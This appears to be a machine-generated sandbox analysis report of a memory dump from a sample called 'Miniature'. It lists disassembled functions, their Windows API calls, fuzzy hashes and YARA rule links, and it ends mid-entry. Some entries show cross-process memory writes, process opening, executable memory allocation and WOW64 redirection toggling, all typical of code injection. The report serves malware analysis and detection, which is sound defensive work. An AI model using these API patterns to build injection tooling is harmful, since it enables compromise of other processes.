Opcode ID: cacaffc306af6e6e466470de5342d31b4d7f2d9e2d8cb8a473018e50974ed382
Instruction ID: bd6358e841c2af813401ec36389ada0404e07f840dcea068cad6205f10ffd26f
Opcode Fuzzy Hash: cacaffc306af6e6e466470de5342d31b4d7f2d9e2d8cb8a473018e50974ed382
Instruction Fuzzy Hash: 2D51C1B2D007059FDB24DF65C881BAABBF4FF05324F24856EE44ACB250E7349585DB90

Function 00FEA3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF1CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00FE9E4E,?,?,00000034,00000800,?,00000034), ref: 00FF1CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00FEA3F7

Part of subcall function 00FF1C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00FE9E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00FF1CB0

Part of subcall function 00FF1BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00FF1C08
Part of subcall function 00FF1BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00FE9E12,00000034,?,?,00001004,00000000,00000000), ref: 00FF1C18
Part of subcall function 00FF1BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00FE9E12,00000034,?,?,00001004,00000000,00000000), ref: 00FF1C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00FEA464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00FEA4B1

Strings

@, xrefs: 00FEA4C9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 5ce7d4a9dc2f71b063e2018bce01766c4fae7f2c09f5b0a8bbe1a97a2ba91c72
Instruction ID: b65a0a1bf116c0ee6d5bc68d2f177adbf277f5c73c6c73d1528828ff09ace938
Opcode Fuzzy Hash: 5ce7d4a9dc2f71b063e2018bce01766c4fae7f2c09f5b0a8bbe1a97a2ba91c72
Instruction Fuzzy Hash: C5415D7290021CBFCB20DFA4CC85AEEB7B8EF49310F104095FA55B7190DA756E45DBA1

Function 010179FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 01017A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 01017A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 01017ABE

Strings

SysMonthCal32, xrefs: 01017A51

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: b82bbe26a1fe8beaaf521a29cb5bdf437353630ea31b55e6f2e5983c2069f93b
Instruction ID: 4ee6d674775f6eb8a33ad50ed416e69a32638bd824bc5c0e5c5a93ff7d7b885a
Opcode Fuzzy Hash: b82bbe26a1fe8beaaf521a29cb5bdf437353630ea31b55e6f2e5983c2069f93b
Instruction Fuzzy Hash: 5621D333640218BFDF258E94CC42FEA3BA9EF88714F110154FE546B195DA79A950DB90

Function 010181B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0101826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0101827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01018284

Strings

msctls_updown32, xrefs: 010181E9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 499f17c2a4613a6c253545fd7206485f616cc56c440d5d852b0f5d084e5ce78b
Instruction ID: 5ef2f92bb35398151cd56903f3d5be2a5748a2aa2fea1238230be90821bb0447
Opcode Fuzzy Hash: 499f17c2a4613a6c253545fd7206485f616cc56c440d5d852b0f5d084e5ce78b
Instruction Fuzzy Hash: 0221AEB5600209AFEB61DF58CC81DB737EDEB4A354B044099FA409B356CB35EC11DBA0

Function 010172D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 01017360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 01017370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 01017395

Strings

Listbox, xrefs: 0101732D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 433521fb1587a466362338f7633c587c82d78121971930bb3a4d54225fb4bcbb
Instruction ID: b27deb8fe012932a1d0e240e0c341d4918c388dd593036886e25ba9134f5925d
Opcode Fuzzy Hash: 433521fb1587a466362338f7633c587c82d78121971930bb3a4d54225fb4bcbb
Instruction Fuzzy Hash: 7121F232600208BFEF228F58CC85EBF37AAEB89750F10C124FA809B194C6759C518BA0

Function 01017D33 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 01017D97
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 01017DAC
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 01017DB9

Strings

msctls_trackbar32, xrefs: 01017D6E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 3ec401d200243d33401f2b129924fbedca748a2ccc472c8889df444ef5b574e0
Instruction ID: 4187b25a0c92ec8b8ba7e70ca1303df87d3991debc34bb8251f51cdd0131685a
Opcode Fuzzy Hash: 3ec401d200243d33401f2b129924fbedca748a2ccc472c8889df444ef5b574e0
Instruction Fuzzy Hash: 8111E37224020CBBEF25AE64CC45FEB7BA9EF89B14F11411CFA81A6091D676A451DB20

Function 0100C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FD027A,?), ref: 0100C6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0100C6F9

Strings

GetSystemWow64DirectoryW, xrefs: 0100C6F3
kernel32.dll, xrefs: 0100C6E2

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 8a4c36568863957040c038beac1806f97c1e6bc8e47e0dbbbd053e444ffcfb24
Instruction ID: 8279968d91017f680569043b6c2fdfad66cd48ec32aaa4f4bbec57db795b2a0e
Opcode Fuzzy Hash: 8a4c36568863957040c038beac1806f97c1e6bc8e47e0dbbbd053e444ffcfb24
Instruction Fuzzy Hash: 00E08C78200312CBF7324E2AC949A4276D4BB04704F7084ADE8C9C2245D774C440CB10

Function 00FA4BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FA4AF7,?), ref: 00FA4BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00FA4BCA

Strings

Wow64RevertWow64FsRedirection, xrefs: 00FA4BC4
kernel32.dll, xrefs: 00FA4BB3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 35a84e6650352621d0f219dbddefa3f06d1349e887702f9e03a7debbe27e7f42
Instruction ID: 01d777195219ed32584384c2437f45e3ee34d4b1b3743dbd6781c9e8a6b70b37
Opcode Fuzzy Hash: 35a84e6650352621d0f219dbddefa3f06d1349e887702f9e03a7debbe27e7f42
Instruction Fuzzy Hash: 98D012B0910712CFD7305F31D84870676D5AF45391B219C6EE4C6D6548DBB4D480C710

Function 00FA4B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FA4B44,?,00FA49D4,?,?,00FA27AF,?,00000001), ref: 00FA4B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00FA4B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00FA4B91
kernel32.dll, xrefs: 00FA4B80

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: dc6d9e1592ab0120304788bfa51b972fc9569d9f8eda54bcdc5b37c6ef618549
Instruction ID: ea3efd6a9ff077dfc31477240695f82bcc5e6347bcfc6a5e0187b220bf17c28b
Opcode Fuzzy Hash: dc6d9e1592ab0120304788bfa51b972fc9569d9f8eda54bcdc5b37c6ef618549
Instruction Fuzzy Hash: C6D012B0910712CFD7305F31D85870676D4AF45391F21883DE4C6D6508D7B4E480D720

Function 00FA55F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FA5E3D), ref: 00FA55FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00FA5610

Strings

kernel32.dll, xrefs: 00FA55F9
GetNativeSystemInfo, xrefs: 00FA560A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: ba4caac40a98666b741dff5b35da887a571ec1379a1ef4d85c2a2e4c0cc6bf8b
Instruction ID: 9be7988cda7acc96120044ece6f54754a50a527b5ef77b78c6c4dfed1182e3d7
Opcode Fuzzy Hash: ba4caac40a98666b741dff5b35da887a571ec1379a1ef4d85c2a2e4c0cc6bf8b
Instruction Fuzzy Hash: 17D017B4A20B22CFEB309F32C80861676E4AF09765B21882EE4C6D6648E674C880CB50

Function 01011447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,01011696), ref: 01011455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 01011467

Strings

advapi32.dll, xrefs: 01011450
RegDeleteKeyExW, xrefs: 01011461

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 27ee20b16382c0c247a252b7699dcb19d13446359c8c9d91f8dc492d3c3a07d7
Instruction ID: 2beb7567aaf586bd4ec44af0b04c2856fe7efc8d9e425916b0285edfcc4fa7c9
Opcode Fuzzy Hash: 27ee20b16382c0c247a252b7699dcb19d13446359c8c9d91f8dc492d3c3a07d7
Instruction Fuzzy Hash: E8D0C770642312CFE3308F3AC94820276E4AF06681B20C83EE5D6D6158EBB8D0C0CB00

Function 010097CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,010093DE,?,01020980), ref: 010097D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 010097EA

Strings

kernel32.dll, xrefs: 010097D3
GetModuleHandleExW, xrefs: 010097E4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 26ac1f3ee4936f428add7ce6cdd4f7ba9b808cf4dbb2c5e66248383065af0113
Instruction ID: 45e297ad7316d80eac49150e2a2b49d2cd2a20f2d1e2115377f92c6ca04b9b79
Opcode Fuzzy Hash: 26ac1f3ee4936f428add7ce6cdd4f7ba9b808cf4dbb2c5e66248383065af0113
Instruction Fuzzy Hash: A2D01771A10727CFE7319F36D898606B6E4BF08395F21887EE4CAE6148EA74C480CB11

Function 00FE7D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67de3056f7a4bc10f825e1d3ebd21fcbe454fcd72a533f9c05d9df925f8870a
Instruction ID: c9d72b0f8a997a3d5087378d5d54462d8c0f1ad37681c0a3e2a9f69dd1207fc4
Opcode Fuzzy Hash: e67de3056f7a4bc10f825e1d3ebd21fcbe454fcd72a533f9c05d9df925f8870a
Instruction Fuzzy Hash: 5CC19075A00256EFCB14DF95C884EAEF7B5FF48710B208598E90ADB251DB31ED81DB90

Function 0100E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0100E7A7
CharLowerBuffW.USER32(?,?), ref: 0100E7EA

Part of subcall function 0100DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0100DEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0100E9EA
_memmove.LIBCMT ref: 0100E9FD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 91fde5711e4bae796191db7108c934092bbea76473b9acf6e5b0ffd55ed59710
Instruction ID: 711da25eaa85a213a12ab5d7c6de0acd6e4a7f798f442e5cc53963d2c4753b92
Opcode Fuzzy Hash: 91fde5711e4bae796191db7108c934092bbea76473b9acf6e5b0ffd55ed59710
Instruction Fuzzy Hash: 54C17A716083019FD755DF28C88096ABBE4FF89714F04896EF8999B391D731E946CF82

Function 0100877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 010087AD
CoUninitialize.OLE32 ref: 010087B8

Part of subcall function 0101DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,01008A0E,?,00000000), ref: 0101DF71

VariantInit.OLEAUT32(?), ref: 010087C3
VariantClear.OLEAUT32(?), ref: 01008A94

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: ff38a23e5854048ccc2d61004e1d9c9215d11c073edf5b6a7912cdbe5cdc2572
Instruction ID: 5fc298b51f3de25ce421f877700b1e1832c63e62f930cb60a792ad9287e5db0f
Opcode Fuzzy Hash: ff38a23e5854048ccc2d61004e1d9c9215d11c073edf5b6a7912cdbe5cdc2572
Instruction Fuzzy Hash: 7BA13975604B019FEB11EF54C881B2ABBE4BF99314F04884AF9959B3A1DB34FD41CB92

Function 00FE814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,01023C4C,?), ref: 00FE8308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,01023C4C,?), ref: 00FE8320
CLSIDFromProgID.OLE32(?,?,00000000,01020988,000000FF,?,00000000,00000800,00000000,?,01023C4C,?), ref: 00FE8345
_memcmp.LIBCMT ref: 00FE8366

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: bed37d8f9514fcade2641851eceb584b0e88be4127f599ed217975a64b17711c
Instruction ID: f3b30e7578002c27f71bd5629803d8b60c8aabe585f87cd1693e1f8169abc301
Opcode Fuzzy Hash: bed37d8f9514fcade2641851eceb584b0e88be4127f599ed217975a64b17711c
Instruction Fuzzy Hash: 9F811871A00109EFCB04DF95C984EEEB7B9FF89315F204598F50AAB250DB71AE06DB60

Function 00FE749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FE74AC
SysAllocString.OLEAUT32(00000000), ref: 00FE7555
VariantCopy.OLEAUT32 ref: 00FE7584
VariantClear.OLEAUT32(?), ref: 00FE75AB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 290bc3b33eb54f945008d3efa834988100e77b63f6f31f1a62ece404a9d8ca41
Instruction ID: 5babb7c1738a9b64ea3727f6fecf6f5d9fa10208accd8e416db16c5c5b7ecb64
Opcode Fuzzy Hash: 290bc3b33eb54f945008d3efa834988100e77b63f6f31f1a62ece404a9d8ca41
Instruction Fuzzy Hash: D15198316087829BDB24BF7ADC95B2DF3E5AF44318B30881FE546C72A1EB349840BB15

Function 0100F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0100F526
Process32FirstW.KERNEL32(00000000,?), ref: 0100F534

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Process32NextW.KERNEL32(00000000,?), ref: 0100F5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0100F603

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 45894c0152d2a8aefca050b73de38f2caba144761cafb288b1914639763e8215
Instruction ID: ed0c48f8a8b737c849748fcc89f63f9a384ec9cb959abd37ddbcecc4eb5655fe
